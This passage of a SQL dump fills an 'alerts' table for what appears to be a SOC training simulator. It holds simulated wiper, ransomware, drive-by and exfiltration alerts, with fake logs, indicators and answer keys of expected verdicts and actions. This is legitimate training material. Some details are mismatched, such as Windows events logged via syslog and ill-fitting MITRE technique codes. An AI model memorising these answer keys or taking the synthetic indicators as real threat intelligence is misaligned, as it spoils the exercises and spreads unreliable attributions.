10\\\",\\\"domain\\\":\\\"example.local\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.133Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:22:33Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"event_type\\\":\\\"Logon\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"logon_type\\\":\\\"Interactive\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\mimikatz.exe\\\",\\\"process_id\\\":\\\"5678\\\",\\\"hash\\\":\\\"6f5902ac237024bdd0c176cb93063dc4\\\",\\\"filename\\\":\\\"mimikatz.exe\\\",\\\"os_version\\\":\\\"Windows 10\\\",\\\"domain\\\":\\\"example.local\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.133Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:22:33Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"event_type\\\":\\\"Logon\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"logon_type\\\":\\\"Interactive\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\mimikatz.exe\\\",\\\"process_id\\\":\\\"5678\\\",\\\"hash\\\":\\\"6f5902ac237024bdd0c176cb93063dc4\\\",\\\"filename\\\":\\\"mimikatz.exe\\\",\\\"os_version\\\":\\\"Windows 10\\\",\\\"domain\\\":\\\"example.local\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.133Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:22:33Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"event_type\\\":\\\"Logon\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"logon_type\\\":\\\"Interactive\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\mimikatz.exe\\\",\\\"process_id\\\":\\\"5678\\\",\\\"hash\\\":\\\"6f5902ac237024bdd0c176cb93063dc4\\\",\\\"filename\\\":\\\"mimikatz.exe\\\",\\\"os_version\\\":\\\"Windows 10\\\",\\\"domain\\\":\\\"example.local\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.133Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:22:33Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"event_type\\\":\\\"Logon\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"logon_type\\\":\\\"Interactive\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\mimikatz.exe\\\",\\\"process_id\\\":\\\"5678\\\",\\\"hash\\\":\\\"6f5902ac237024bdd0c176cb93063dc4\\\",\\\"filename\\\":\\\"mimikatz.exe\\\",\\\"os_version\\\":\\\"Windows 10\\\",\\\"domain\\\":\\\"example.local\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(518, 'Rapid Lateral Movement Identified', 'high', 'Anomalous Account Activity', 'With credentials in hand, the attackers move laterally across the network, spreading the destructive wiper payload to additional systems.', 'Lateral Movement', 'T1070.004', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:34Z\",\"event_source\":\"authentication_logs\",\"user\":\"jdoe_admin\",\"source_ip\":\"185.199.108.153\",\"destination_ip\":\"192.168.1.101\",\"action\":\"login_success\",\"description\":\"Successful login using compromised credentials.\",\"malicious_file\":\"OlympicDestroyer_v2.exe\",\"file_hash\":\"e42f3b0f5e9b4d0a82d3b3e1f4a9d6c7\"}', '2026-01-06 01:37:06', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.199.108.153\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Service\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT group activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe_admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"malicious\",\"details\":\"Account used for unauthorized lateral movement.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"OlympicDestroyer_v2.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Destructive malware associated with Sandworm APT.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"e42f3b0f5e9b4d0a82d3b3e1f4a9d6c7\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known wiper malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.135Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:34Z\\\",\\\"event_source\\\":\\\"authentication_logs\\\",\\\"user\\\":\\\"jdoe_admin\\\",\\\"source_ip\\\":\\\"185.199.108.153\\\",\\\"destination_ip\\\":\\\"192.168.1.101\\\",\\\"action\\\":\\\"login_success\\\",\\\"description\\\":\\\"Successful login using compromised credentials.\\\",\\\"malicious_file\\\":\\\"OlympicDestroyer_v2.exe\\\",\\\"file_hash\\\":\\\"e42f3b0f5e9b4d0a82d3b3e1f4a9d6c7\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.135Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:34Z\\\",\\\"event_source\\\":\\\"authentication_logs\\\",\\\"user\\\":\\\"jdoe_admin\\\",\\\"source_ip\\\":\\\"185.199.108.153\\\",\\\"destination_ip\\\":\\\"192.168.1.101\\\",\\\"action\\\":\\\"login_success\\\",\\\"description\\\":\\\"Successful login using compromised credentials.\\\",\\\"malicious_file\\\":\\\"OlympicDestroyer_v2.exe\\\",\\\"file_hash\\\":\\\"e42f3b0f5e9b4d0a82d3b3e1f4a9d6c7\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.135Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:34Z\\\",\\\"event_source\\\":\\\"authentication_logs\\\",\\\"user\\\":\\\"jdoe_admin\\\",\\\"source_ip\\\":\\\"185.199.108.153\\\",\\\"destination_ip\\\":\\\"192.168.1.101\\\",\\\"action\\\":\\\"login_success\\\",\\\"description\\\":\\\"Successful login using compromised credentials.\\\",\\\"malicious_file\\\":\\\"OlympicDestroyer_v2.exe\\\",\\\"file_hash\\\":\\\"e42f3b0f5e9b4d0a82d3b3e1f4a9d6c7\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.135Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:34Z\\\",\\\"event_source\\\":\\\"authentication_logs\\\",\\\"user\\\":\\\"jdoe_admin\\\",\\\"source_ip\\\":\\\"185.199.108.153\\\",\\\"destination_ip\\\":\\\"192.168.1.101\\\",\\\"action\\\":\\\"login_success\\\",\\\"description\\\":\\\"Successful login using compromised credentials.\\\",\\\"malicious_file\\\":\\\"OlympicDestroyer_v2.exe\\\",\\\"file_hash\\\":\\\"e42f3b0f5e9b4d0a82d3b3e1f4a9d6c7\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.135Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:34Z\\\",\\\"event_source\\\":\\\"authentication_logs\\\",\\\"user\\\":\\\"jdoe_admin\\\",\\\"source_ip\\\":\\\"185.199.108.153\\\",\\\"destination_ip\\\":\\\"192.168.1.101\\\",\\\"action\\\":\\\"login_success\\\",\\\"description\\\":\\\"Successful login using compromised credentials.\\\",\\\"malicious_file\\\":\\\"OlympicDestroyer_v2.exe\\\",\\\"file_hash\\\":\\\"e42f3b0f5e9b4d0a82d3b3e1f4a9d6c7\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(519, 'Data Exfiltration Attempt Detected', 'high', 'Data Loss Prevention (DLP)', 'An unauthorized data exfiltration attempt was detected involving the transfer of sensitive files to an external IP address. The threat actor, identified by the use of known malware hashes and suspicious IP addresses, attempted to leverage their access to exfiltrate critical data before initiating a destructive attack.', 'Exfiltration', 'T1020 - Automated Exfiltration', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:07Z\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"203.0.113.5\",\"user\":\"jdoe\",\"filename\":\"confidential_data.zip\",\"hash\":\"b5c0b187fe309af0f4d35982fd961d7e\",\"action\":\"upload\",\"protocol\":\"HTTPS\",\"alert_id\":\"DLP-EXFIL-005\",\"description\":\"Detected upload of sensitive data to external IP address\",\"malware_associated\":[\"NotPetya\"]}', '2026-01-06 01:37:06', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with data exfiltration activities.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"b5c0b187fe309af0f4d35982fd961d7e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with NotPetya malware.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"confidential_data.zip\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal DLP\",\"verdict\":\"suspicious\",\"details\":\"Filename flagged as containing sensitive data.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.136Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:07Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"hash\\\":\\\"b5c0b187fe309af0f4d35982fd961d7e\\\",\\\"action\\\":\\\"upload\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"alert_id\\\":\\\"DLP-EXFIL-005\\\",\\\"description\\\":\\\"Detected upload of sensitive data to external IP address\\\",\\\"malware_associated\\\":[\\\"NotPetya\\\"]}\"},{\"timestamp\":\"2026-02-01T20:31:19.136Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:07Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"hash\\\":\\\"b5c0b187fe309af0f4d35982fd961d7e\\\",\\\"action\\\":\\\"upload\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"alert_id\\\":\\\"DLP-EXFIL-005\\\",\\\"description\\\":\\\"Detected upload of sensitive data to external IP address\\\",\\\"malware_associated\\\":[\\\"NotPetya\\\"]}\"},{\"timestamp\":\"2026-02-01T20:30:19.136Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:07Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"hash\\\":\\\"b5c0b187fe309af0f4d35982fd961d7e\\\",\\\"action\\\":\\\"upload\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"alert_id\\\":\\\"DLP-EXFIL-005\\\",\\\"description\\\":\\\"Detected upload of sensitive data to external IP address\\\",\\\"malware_associated\\\":[\\\"NotPetya\\\"]}\"},{\"timestamp\":\"2026-02-01T20:29:19.136Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:07Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"hash\\\":\\\"b5c0b187fe309af0f4d35982fd961d7e\\\",\\\"action\\\":\\\"upload\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"alert_id\\\":\\\"DLP-EXFIL-005\\\",\\\"description\\\":\\\"Detected upload of sensitive data to external IP address\\\",\\\"malware_associated\\\":[\\\"NotPetya\\\"]}\"},{\"timestamp\":\"2026-02-01T20:28:19.136Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:07Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"hash\\\":\\\"b5c0b187fe309af0f4d35982fd961d7e\\\",\\\"action\\\":\\\"upload\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"alert_id\\\":\\\"DLP-EXFIL-005\\\",\\\"description\\\":\\\"Detected upload of sensitive data to external IP address\\\",\\\"malware_associated\\\":[\\\"NotPetya\\\"]}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(520, 'Suspicious Network Traffic Detected', 'medium', 'Network Intrusion Detection System (NIDS)', 'Unusual traffic patterns have been detected originating from a popular news site, indicating a potential drive-by download attempt aimed at gaining initial access.', 'Drive-by Download', 'T1189', 1, 'new', NULL, '{\"timestamp\":\"2023-09-15T14:23:45Z\",\"source_ip\":\"192.168.1.15\",\"destination_ip\":\"203.0.113.45\",\"http_request\":{\"method\":\"GET\",\"url\":\"http://news.example.com/malicious.js\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"referrer\":\"http://news.example.com/home\"},\"malware_hash\":\"3a5c4f89d1b2e5f4c3b2a8e1e6f4b3c4\",\"filename\":\"malicious.js\"}', '2026-01-06 01:39:37', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host possibly compromised.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"suspicious\",\"details\":\"IP associated with previous drive-by download activities.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://news.example.com/malicious.js\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"URL hosts a known malicious script.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"3a5c4f89d1b2e5f4c3b2a8e1e6f4b3c4\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware sample.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"malicious.js\",\"is_critical\":false,\"osint_result\":{\"source\":\"Local Analysis\",\"verdict\":\"suspicious\",\"details\":\"JavaScript file with obfuscated code.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Beginner', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(521, 'Unverified Flash Update Executed', 'high', 'Endpoint Detection and Response (EDR)', 'A fake Adobe Flash update was executed on the endpoint, leading to the installation of a ransomware payload. The operation is part of a broader campaign aiming to deploy ransomware via social engineering tactics.', 'Execution', 'T1203', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"event_id\":\"4624\",\"computer_name\":\"DESKTOP-5G9H1F2\",\"user\":\"john_doe\",\"process_name\":\"C:\\\\Users\\\\john_doe\\\\Downloads\\\\fake_flash_update.exe\",\"hash\":\"b1946ac92492d2347c6235b4d2611184\",\"src_ip\":\"102.54.98.112\",\"internal_ip\":\"192.168.1.45\",\"file_path\":\"C:\\\\Users\\\\john_doe\\\\Downloads\\\\\",\"event_type\":\"Execution\",\"description\":\"A suspicious application resembling Adobe Flash Player was executed, which is known to deploy ransomware payloads.\"}', '2026-01-06 01:39:37', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"filename\",\"value\":\"fake_flash_update.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known ransomware delivery mechanism disguised as Adobe Flash update.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with ransomware campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"102.54.98.112\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP address linked to known C2 servers.\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of the affected machine.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(522, 'DiskCryptor Ransomware Detected', 'high', 'File Integrity Monitoring', 'DiskCryptor has been activated on the victim\'s machine, initiating encryption of the hard drive and establishing ransomware persistence.', 'Persistence', 'T1486 - Data Encrypted for Impact', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:22:36Z\",\"event_id\":\"FIM-2023-5698\",\"file_path\":\"C:\\\\Program Files\\\\DiskCryptor\\\\dcinst.exe\",\"file_hash\":\"8f14e45fceea167a5a36dedd4bea2543\",\"user\":\"compromised_user\",\"internal_ip\":\"192.168.1.105\",\"external_ip\":\"203.0.113.45\",\"event_type\":\"file_change\",\"description\":\"Unauthorized execution of DiskCryptor detected. File integrity compromised.\",\"additional_info\":{\"protocol\":\"HTTPS\",\"connection_status\":\"Active\"}}', '2026-01-06 01:39:37', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"8f14e45fceea167a5a36dedd4bea2543\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Identified as DiskCryptor ransomware.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous ransomware campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"dcinst.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Local Analysis\",\"verdict\":\"suspicious\",\"details\":\"Common filename used by DiskCryptor ransomware.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"User account showing unusual activity.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.139Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:36Z\\\",\\\"event_id\\\":\\\"FIM-2023-5698\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\DiskCryptor\\\\\\\\dcinst.exe\\\",\\\"file_hash\\\":\\\"8f14e45fceea167a5a36dedd4bea2543\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"event_type\\\":\\\"file_change\\\",\\\"description\\\":\\\"Unauthorized execution of DiskCryptor detected. File integrity compromised.\\\",\\\"additional_info\\\":{\\\"protocol\\\":\\\"HTTPS\\\",\\\"connection_status\\\":\\\"Active\\\"}}\"},{\"timestamp\":\"2026-02-01T20:31:19.139Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:36Z\\\",\\\"event_id\\\":\\\"FIM-2023-5698\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\DiskCryptor\\\\\\\\dcinst.exe\\\",\\\"file_hash\\\":\\\"8f14e45fceea167a5a36dedd4bea2543\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"event_type\\\":\\\"file_change\\\",\\\"description\\\":\\\"Unauthorized execution of DiskCryptor detected. File integrity compromised.\\\",\\\"additional_info\\\":{\\\"protocol\\\":\\\"HTTPS\\\",\\\"connection_status\\\":\\\"Active\\\"}}\"},{\"timestamp\":\"2026-02-01T20:30:19.139Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:36Z\\\",\\\"event_id\\\":\\\"FIM-2023-5698\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\DiskCryptor\\\\\\\\dcinst.exe\\\",\\\"file_hash\\\":\\\"8f14e45fceea167a5a36dedd4bea2543\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"event_type\\\":\\\"file_change\\\",\\\"description\\\":\\\"Unauthorized execution of DiskCryptor detected. File integrity compromised.\\\",\\\"additional_info\\\":{\\\"protocol\\\":\\\"HTTPS\\\",\\\"connection_status\\\":\\\"Active\\\"}}\"},{\"timestamp\":\"2026-02-01T20:29:19.139Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:36Z\\\",\\\"event_id\\\":\\\"FIM-2023-5698\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\DiskCryptor\\\\\\\\dcinst.exe\\\",\\\"file_hash\\\":\\\"8f14e45fceea167a5a36dedd4bea2543\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"event_type\\\":\\\"file_change\\\",\\\"description\\\":\\\"Unauthorized execution of DiskCryptor detected. File integrity compromised.\\\",\\\"additional_info\\\":{\\\"protocol\\\":\\\"HTTPS\\\",\\\"connection_status\\\":\\\"Active\\\"}}\"},{\"timestamp\":\"2026-02-01T20:28:19.139Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:36Z\\\",\\\"event_id\\\":\\\"FIM-2023-5698\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Program 